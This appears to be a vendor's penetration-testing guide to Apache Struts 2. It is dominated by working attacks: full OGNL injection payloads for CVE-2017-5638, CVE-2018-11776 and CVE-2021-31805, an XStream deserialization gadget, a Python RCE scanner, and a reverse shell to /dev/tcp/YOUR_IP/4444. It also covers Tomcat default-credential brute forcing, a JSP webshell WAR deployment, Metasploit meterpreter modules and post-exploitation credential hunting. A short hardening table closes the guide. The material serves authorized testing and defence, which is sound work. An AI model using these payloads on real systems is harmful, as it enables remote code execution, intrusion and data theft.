Apache Struts 2 has produced some of the most devastating unauthenticated remote code execution vulnerabilities in enterprise Java history. CVE-2017-5638 — the Content-Type OGNL injection behind the Equifax breach that exposed 147 million Americans — set the benchmark. This guide covers authorized penetration testing of Apache Struts 2 applications: OGNL injection vectors, Showcase app enumeration, REST plugin exploitation, and automated scanning with Metasploit and nuclei.
Apache Struts 2 is an MVC framework for Java EE web applications. It uses OGNL (Object-Graph Navigation Language) as its expression language throughout the request processing pipeline — in action names, namespace resolution, parameter mapping, tag library rendering, and error messages. OGNL is powerful: it can invoke arbitrary Java methods, access the Java runtime, and execute shell commands. The attack surface is enormous because OGNL expression evaluation is deeply embedded in the framework core.
The framework is widely deployed in large enterprise environments, especially in financial services, government, and healthcare sectors. Many Struts 2 deployments are decades-old line-of-business applications that receive infrequent updates — which is precisely why Struts 2 CVEs continue to be exploited years after patch release.
| CVE | CVSS | Vector | Affected Versions | Patch Date |
|---|---|---|---|---|
| CVE-2017-5638 | 10.0 | Content-Type header OGNL injection (Jakarta Multipart parser) | Struts 2.3.5 – 2.3.31, 2.5 – 2.5.10 | March 2017 |
| CVE-2018-11776 | 10.0 | Namespace OGNL injection, no plugin required | Struts 2.3.x before 2.3.35, 2.5.x before 2.5.17 | August 2018 |
| CVE-2021-31805 | 9.8 | Forced double evaluation via tag attribute injection | Struts 2.0.0 – 2.5.25 | April 2022 |
| CVE-2019-0230 | 9.8 | Forced OGNL double evaluation in tag attributes | Struts 2.0.0 – 2.5.20 | September 2019 |
| CVE-2016-3081 | 9.8 | Dynamic method invocation DMI OGNL injection | Struts 2.0.0 – 2.3.28 | April 2016 |
Struts 2 applications are identifiable by their URL patterns, HTTP response headers, and error pages. Accurate version detection is critical — different CVEs apply to different minor version ranges, and the Metasploit modules perform version checks before exploitation.
# Struts 2 applications typically use .action or .do URL extensions
# or are configured with a wildcard servlet mapping
# Check for .action extension on common paths
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/index.action"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/login.action"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/welcome.action"
# Some deployments use .do extension (Struts 1 migration pattern)
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/login.do"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/index.do"
# Struts 2 Showcase app paths (high value -- leave deployed in prod frequently)
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/struts2-showcase/"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/showcase/"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/struts2-rest-showcase/"
# Struts returns distinctive HTTP headers on errors
curl -sk -I "https://TARGET/nonexistent.action" | grep -i 'x-powered\|server\|struts'
# Service and version detection against common Java app ports
nmap -sV -p 80,443,8080,8443,8009 \
--script http-title,http-headers,http-server-header \
-oA struts-scan TARGET
# Detect Struts via HTTP headers and response body fingerprints
nmap -p 8080 --script http-enum TARGET
# AJP connector (port 8009) may be exposed -- Ghostcat CVE-2020-1938
nmap -sV -p 8009 TARGET
# Trigger a Struts error page to extract version information
# Struts error pages often include the framework version in HTML comments or meta tags
curl -sk "https://TARGET/nonexistent.action" | \
grep -iE 'struts|version|apache|2\.[0-9]+\.[0-9]+'
# Malformed action triggers exception page with version disclosure
curl -sk "https://TARGET/%3f.action" | grep -iE 'struts|version'
# Check JavaScript includes and CSS paths -- often version-stamped
curl -sk "https://TARGET/index.action" | grep -oP 'struts[^"]+\.js'
# Struts 2 DevMode exposes extensive debugging info -- check for it
curl -sk "https://TARGET/index.action?debug=xml&debug=xml" | head -50
# Shodan dorks for internet-facing Struts 2 applications
# http.title:"Struts Problem Report" port:8080
# http.html:"struts2" port:443
# http.component:"Apache Struts"
# "X-Powered-By: Servlet" http.html:".action"
# Censys equivalent
# services.http.response.html_title="Struts Problem Report"
# services.http.response.body: "struts2-showcase"
CVE-2017-5638 is the vulnerability that brought Apache Struts to the front page of every newspaper in 2017. Discovered and publicly disclosed in March 2017, it was weaponized within hours of publication. Equifax failed to patch it in the two months before their breach, resulting in exfiltration of personal data for 147 million people — one of the largest data breaches in history.
The vulnerability lives in the Jakarta Multipart parser, a file upload interceptor that processes multipart/form-data requests. When the parser encounters a malformed or invalid Content-Type header, it generates an error message that is then passed directly to the OGNL expression evaluator without sanitization. The attacker's payload in the Content-Type header executes as Java code with the privileges of the application server process.
The vulnerable code path in JakartaMultiPartRequest.java calls LocalizedTextUtil.findText() with the exception message as the OGNL expression parameter. When the exception message contains an OGNL expression (wrapped in %{...}), the framework evaluates it against the ValueStack — granting full access to the Java runtime.
# CVE-2017-5638 -- Content-Type OGNL injection
# AUTHORIZED TESTING ONLY. Replace TARGET and COMMAND.
# Step 1: Test for vulnerability with a safe RCE probe (id command)
curl -s \
-H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
"https://TARGET/index.action"
# Step 2: If id command returns output, confirm RCE and enumerate
# Read /etc/passwd to confirm unrestricted file access
curl -s \
-H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
"https://TARGET/index.action"
# Step 3: Reverse shell via CVE-2017-5638
# Set up listener first: nc -lvnp 4444
REVSHELL='bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
curl -s \
-H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/YOUR_IP/4444 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
"https://TARGET/index.action"
#!/usr/bin/env python3
"""
CVE-2017-5638 -- Apache Struts 2 Content-Type OGNL injection scanner.
Authorized penetration testing only. Do NOT run against systems without
explicit written permission.
"""
import urllib.request, urllib.error, ssl, sys
TARGET = "https://TARGET"
ACTIONS = ["/index.action", "/login.action", "/home.action", "/welcome.action"]
# Safe probe: executes 'id' and returns output in HTTP response body
OGNL_PROBE = (
"%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
"(#cmd='id')."
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true))."
"(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
"(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros))."
"(#ros.flush())}"
)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
def test_action(url):
req = urllib.request.Request(
url,
headers={
"Content-Type": OGNL_PROBE,
"User-Agent": "Mozilla/5.0"
}
)
try:
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
resp = opener.open(req, timeout=15)
body = resp.read(4096).decode('utf-8', errors='ignore')
# Successful RCE: response body contains 'uid=' from id command output
if 'uid=' in body or 'root' in body:
print(f"[CRITICAL] RCE confirmed at {url}")
print(f" Command output: {body.strip()[:200]}")
return True
print(f"[-] No RCE at {url} (HTTP {resp.getcode()})")
return False
except urllib.error.HTTPError as e:
print(f"[-] HTTP {e.code} at {url}")
return False
except Exception as e:
print(f"[-] Error at {url}: {e}")
return False
print(f"[*] Testing CVE-2017-5638 against {TARGET}")
for action in ACTIONS:
if test_action(TARGET + action):
print("[+] Vulnerable endpoint confirmed. Stop here for authorized assessment report.")
sys.exit(0)
print("[-] No vulnerable endpoints found (may be patched or actions differ)")
CVE-2018-11776 was published in August 2018 and also received a CVSS score of 10.0. It is arguably more dangerous than CVE-2017-5638 because it requires no plugins and no specific configuration — just a Struts 2 application with the default action configuration. The vulnerability exists in the URL namespace resolution logic: when Struts 2 evaluates the namespace portion of a URL to determine which action to invoke, it passes the namespace through the OGNL evaluator if the namespace is not explicitly defined in struts.xml.
alwaysSelectFullNamespace set to true in struts.xml (which is the default in many configurations) or action mapping without a namespace# CVE-2018-11776 -- Namespace OGNL injection
# The OGNL payload is injected in the URL namespace segment
# Test with safe RCE probe -- id command
curl -sk \
"https://TARGET/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3D%23d.readLine%28%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%29%7D/actionName.action"
# Decoded payload structure:
# ${(#_memberAccess["allowStaticMethodAccess"]=true,
# #a=@java.lang.Runtime@getRuntime().exec('id'),
# #b=#a.getInputStream(),
# #c=new java.io.InputStreamReader(#b),
# #d=new java.io.BufferedReader(#c),
# #e=#d.readLine(),
# #matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
# #matt.getWriter().println(#e),
# #matt.getWriter().flush(),
# #matt.getWriter().close())}
# For Struts 2.5.x -- SecurityMemberAccess bypass required
curl -sk \
"https://TARGET/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmd.split%28%22+%22%29%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28org.apache.commons.io.IOUtils.copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/actionName.action"
# nuclei template -- save as struts-cve-2018-11776.yaml
id: CVE-2018-11776
info:
name: Apache Struts 2 CVE-2018-11776 Namespace OGNL RCE
severity: critical
tags: struts,ognl,rce,cve2018
requests:
- method: GET
path:
- "{{BaseURL}}/%24%7B%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%7D/actionName.action"
matchers-condition: and
matchers:
- type: word
words:
- "uid="
- "root"
condition: or
- type: status
status:
- 200
# Run against a single target
nuclei -t struts-cve-2018-11776.yaml -u https://TARGET
# Run against a list of targets
nuclei -t struts-cve-2018-11776.yaml -l targets.txt -o struts-findings.txt
# Use the official nuclei-templates CVE collection
nuclei -tags struts -u https://TARGET -severity critical,high
CVE-2021-31805 is a bypass for the incomplete fix applied in CVE-2019-0230. Both vulnerabilities exploit Struts 2's tendency to double-evaluate OGNL expressions in certain tag attributes. When a Struts 2 tag attribute value is set from user-controlled data and that value itself contains an OGNL expression, the framework evaluates it twice — once during parameter assignment and once during rendering. An attacker who can influence tag attribute values can inject OGNL payloads that survive the first evaluation and execute on the second.
# CVE-2021-31805 -- Forced double evaluation via tag attribute injection
# Payload is submitted as a form parameter that maps to an action field
# which is then referenced in a Struts 2 tag attribute like <s:property value="fieldName"/>
# The key: wrap the OGNL expression in %{...} -- the outer evaluation strips %{},
# then the inner expression executes on the second pass
# Basic RCE probe via POST parameter
curl -s -X POST "https://TARGET/vulnerable.action" \
--data-urlencode 'fieldName=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#p=new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c",#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros)).(#ros.flush())}'
# Identify vulnerable parameters by testing each field for OGNL reflection
# A response containing the literal string "3" confirms OGNL evaluation:
curl -s -X POST "https://TARGET/vulnerable.action" \
--data-urlencode 'fieldName=%{1+2}'
# Response containing "3" (not "%{1+2}") confirms the double evaluation
S2-045 is the official Apache Struts security advisory identifier for CVE-2017-5638. S2-046 is a closely related advisory published on the same day — it covers a second vector for the same OGNL injection flaw that exists when the Content-Disposition header contains a filename value that the multipart parser propagates to the OGNL evaluator. Both advisories share the same root cause and patch.
# S2-045: OGNL injection via Content-Type header (standard vector)
curl -s -X POST "https://TARGET/upload.action" \
-H "Content-Type: %{OGNL_PAYLOAD_HERE}" \
--data "foo=bar"
# S2-046: OGNL injection via Content-Disposition filename header
# The filename parameter in multipart Content-Disposition is also evaluated as OGNL
# in versions affected by both S2-045 and S2-046
curl -s -X POST "https://TARGET/upload.action" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
--data $'------BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="%{OGNL_PAYLOAD_HERE}"\r\nContent-Type: text/plain\r\n\r\ntest\r\n------BOUNDARY--\r\n'
# S2-046 additionally triggers when the Content-Length header is oversized
# Combined with a multipart request -- the parser error path is triggered
# which then evaluates the OGNL expression in the filename field
# Test S2-046 with oversized Content-Length (forces parser error path)
curl -s -X POST "https://TARGET/upload.action" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-H "Content-Length: 999999999999" \
--data $'------BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="%{id}"\r\nContent-Type: text/plain\r\n\r\ntest\r\n------BOUNDARY--\r\n'
uid= from the id command). Note whether the application server runs as root or a limited service account. Include patch version required (2.3.32+ or 2.5.10.1+) and recommend WAF rule deployment as an interim control.
The Struts 2 REST plugin enables RESTful action mapping and supports XML and JSON request body deserialization. When XStream is used for XML deserialization (the default in older Struts versions), the application is vulnerable to XStream deserialization attacks that produce RCE independently of OGNL. The REST plugin also exposes action names directly in the URL path, making OGNL injection via the namespace vector more accessible.
# REST plugin uses URL patterns like /resource/id.format
# Common patterns in Struts 2 REST showcase and applications
# Check for REST endpoints (returns XML or JSON)
curl -sk -H "Accept: application/json" "https://TARGET/orders.json"
curl -sk -H "Accept: application/xml" "https://TARGET/orders.xml"
curl -sk -H "Accept: application/json" "https://TARGET/orders/1.json"
# REST showcase paths
curl -sk "https://TARGET/struts2-rest-showcase/orders.json"
curl -sk "https://TARGET/struts2-rest-showcase/orders.xml"
# Probe REST endpoints for OGNL injection in the resource name segment
curl -sk "https://TARGET/%24%7Bid%7D.json"
# If response contains numeric value instead of literal "${id}", OGNL is evaluated
# XStream deserialization RCE via Struts 2 REST plugin
# Applies to Struts 2.1.1 through 2.3.33 with XStream < 1.4.10
# Send a crafted XML payload to a REST endpoint that deserializes request bodies
# The XStream payload invokes Runtime.exec() via a DynamicProxyHandler gadget chain
XSTREAM_PAYLOAD='<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command><string>id</string></command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
</iter>
</cipher>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>'
curl -s -X POST "https://TARGET/orders/1.xml" \
-H "Content-Type: application/xml" \
--data "$XSTREAM_PAYLOAD"
The Struts 2 Showcase application is an official demo bundled with Struts 2 distributions to demonstrate framework features. It is regularly found deployed in production environments alongside the actual application — a configuration mistake that hands attackers a fully instrumented Struts 2 target. The Showcase includes file upload forms, OGNL expression testing pages, and other deliberately permissive features that provide easy exploitation paths.
# Common Showcase deployment paths -- check all of these
PATHS=(
"/struts2-showcase"
"/showcase"
"/struts2-showcase/index.action"
"/struts2-rest-showcase"
"/struts2-mailreader"
"/struts2-portlet"
"/struts2-blank"
"/example"
"/examples"
)
TARGET="https://TARGET"
for path in "${PATHS[@]}"; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET$path")
echo "[$CODE] $TARGET$path"
sleep 0.2
done
# Showcase OGNL testing page -- if accessible, allows arbitrary OGNL input
curl -sk "https://TARGET/struts2-showcase/showcase.action"
# File upload form in Showcase -- direct CVE-2017-5638 test surface
curl -sk "https://TARGET/struts2-showcase/fileupload/doUpload.action"
# DevMode configuration test page (discloses full ValueStack)
curl -sk "https://TARGET/struts2-showcase/config-browser/index.action"
# Config browser -- lists all actions, interceptors, and result mappings
curl -sk "https://TARGET/struts2-showcase/config-browser/actionNames.action?namespace=/"
# Struts applications commonly sit behind an application server console
# Tomcat Manager -- frequently co-located with Struts deployments
# Test Tomcat Manager default credentials
for CRED in "admin:admin" "admin:password" "manager:manager" \
"tomcat:tomcat" "admin:tomcat" "tomcat:s3cret" \
"admin:s3cret" "root:root" ""; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
-u "${USER}:${PASS}" "https://TARGET/manager/html")
echo "${USER}:${PASS} -> HTTP ${CODE}"
sleep 0.5
done
# If Tomcat Manager is accessible with valid credentials:
# Deploy a WAR file containing a JSP webshell for persistent access
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f war > shell.war
# curl -sk -u admin:admin "https://TARGET/manager/text/deploy?path=/shell" \
# --upload-file shell.war
# GlassFish admin console (port 4848)
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET:4848/management/domain/"
# JBoss/WildFly management interface (port 9990)
curl -sk "https://TARGET:9990/management?operation=read-resource"
Metasploit Framework includes dedicated modules for the primary Struts 2 CVEs. These modules handle version detection, SecurityMemberAccess bypass for different Struts branches, and payload delivery. Nuclei's community templates cover the same CVEs with lower noise and no dependency on Metasploit being installed on the engagement workstation.
# Launch Metasploit and configure the CVE-2017-5638 module
msfconsole -q
use exploit/multi/http/struts2_content_type_ognl
info
# Targets: S2-045 (Content-Type), S2-046 (Content-Disposition)
# Automatic: tries Content-Type first, falls back to Content-Disposition
set RHOSTS TARGET
set RPORT 443
set SSL true
set TARGETURI /index.action # Change to match target app path
set LHOST YOUR_IP
set LPORT 4444
set PAYLOAD java/meterpreter/reverse_tcp
# Run a check first (non-destructive version detection)
check
# If check returns vulnerable, proceed with exploitation
run
# Post-exploitation: gather Struts application config files
meterpreter> shell
$ find / -name "struts.xml" -o -name "struts.properties" 2>/dev/null
$ find / -name "*.properties" -path "*/WEB-INF/*" 2>/dev/null | xargs grep -l "password\|secret\|key"
$ find /opt /srv /var/lib/tomcat* -name "*.xml" 2>/dev/null | xargs grep -l "jdbc\|database" 2>/dev/null
# Older Struts 2 exploitation module (Struts < 2.3.14.3)
# Exploits the ExceptionDelegator OGNL injection vector (S2-009, S2-013)
msfconsole -q
use exploit/multi/http/struts_code_exec_exception_delegator
set RHOSTS TARGET
set RPORT 8080
set SSL false
set TARGETURI /struts2-showcase/index.action
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
check
run
# CVE-2018-11776 Metasploit module -- namespace injection
msfconsole -q
use exploit/multi/http/struts2_namespace_ognl
set RHOSTS TARGET
set RPORT 443
set SSL true
set TARGETURI /index.action
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
check
run
# Install and update nuclei templates
nuclei -update-templates
# Run all Struts-tagged templates against a target
nuclei -tags struts -u https://TARGET -severity critical,high -o struts-findings.txt
# Run CVE-specific templates
nuclei -t cves/2017/CVE-2017-5638.yaml -u https://TARGET
nuclei -t cves/2018/CVE-2018-11776.yaml -u https://TARGET
nuclei -t cves/2021/CVE-2021-31805.yaml -u https://TARGET
# Scan a list of targets with all Struts templates
nuclei -tags struts -l targets.txt -severity critical -o struts-bulk.txt -j
# Use the http/misconfiguration template set for Showcase detection
nuclei -tags struts,showcase,exposure -u https://TARGET
# Combine with httpx to first probe live hosts
httpx -l subdomains.txt -path /index.action -mc 200,302 -o live-struts.txt
nuclei -tags struts -l live-struts.txt -severity critical,high
%{9*9}) and match for 81 in the response body. This confirms expression evaluation without executing OS commands. Always validate scanner findings manually with the id command before marking as confirmed RCE in your report — WAFs can intercept the math probe while blocking the OS command payload, generating false positives.
Hardening Struts 2 applications requires both framework patching and multiple defense-in-depth controls. Given the frequency and severity of Struts OGNL injection vulnerabilities, a WAF rule set alone is insufficient — every Struts 2 deployment should be considered high-risk until patched to the current version.
| Recommendation | Priority | Implementation |
|---|---|---|
| Upgrade to Struts 2.5.33+ or Struts 6.x | Critical | All OGNL injection CVEs through CVE-2021-31805 are patched. Struts 6.x also hardens the SecurityMemberAccess by default. |
| Replace Jakarta Multipart parser with Commons FileUpload 2.x | Critical | Eliminates the entire S2-045 / CVE-2017-5638 attack class. Set struts.multipart.parser=jakarta only with a patched version. |
| Disable DevMode in production | Critical | Set struts.devMode=false in struts.properties. DevMode enables arbitrary OGNL evaluation via debug=xml URL parameter. |
| Remove Struts 2 Showcase and example apps | Critical | Delete WAR files: struts2-showcase, struts2-rest-showcase, struts2-mailreader, struts2-blank from the deployment directory. |
| Disable Dynamic Method Invocation (DMI) | High | Set struts.enable.DynamicMethodInvocation=false. DMI was the root cause of S2-009, S2-013, and S2-016. |
| Deploy WAF with Struts OGNL ruleset | High | ModSecurity CRS includes Struts rules. AWS WAF managed rules include Struts coverage. Interim control while patching. |
| Restrict Content-Type header values at the WAF | High | Block Content-Type headers containing %{, ${, or @ognl. These patterns do not appear in legitimate multipart uploads. |
| Run the application server as a non-root service account | High | Limits blast radius when RCE is achieved. The id command returning uid=501(tomcat) vs uid=0(root) is a significant difference in breach impact. |
| Enforce ExcludedClasses and ExcludedPackageNames | Medium | In Struts 2.3.20+, configure struts.excludedClasses to block java.lang.Runtime, java.lang.ProcessBuilder, and OGNL utility classes. |
| Monitor for OGNL injection patterns in WAF/IDS logs | Medium | Alert on requests containing: @ognl, OgnlContext, ProcessBuilder, Runtime.exec, or getInputStream in Content-Type or URL path. |
find /opt /srv /var/lib/tomcat* /usr/share -name "struts2-core-*.jar" 2>/dev/null on your application servers. The JAR filename includes the Struts version. Any version below 2.5.33 should be treated as critically vulnerable. If your Struts version predates 2.5.10.1 (March 2017), assume CVE-2017-5638 has been or will be exploited — treat the host as compromised until proven otherwise.
Ironimo's Kali Linux-powered scanner detects OGNL injection, Struts framework fingerprinting, and known CVEs including CVE-2017-5638, CVE-2018-11776, and CVE-2021-31805. Stop manually crafting payloads — scan Struts applications automatically and get findings in minutes.
Start free scan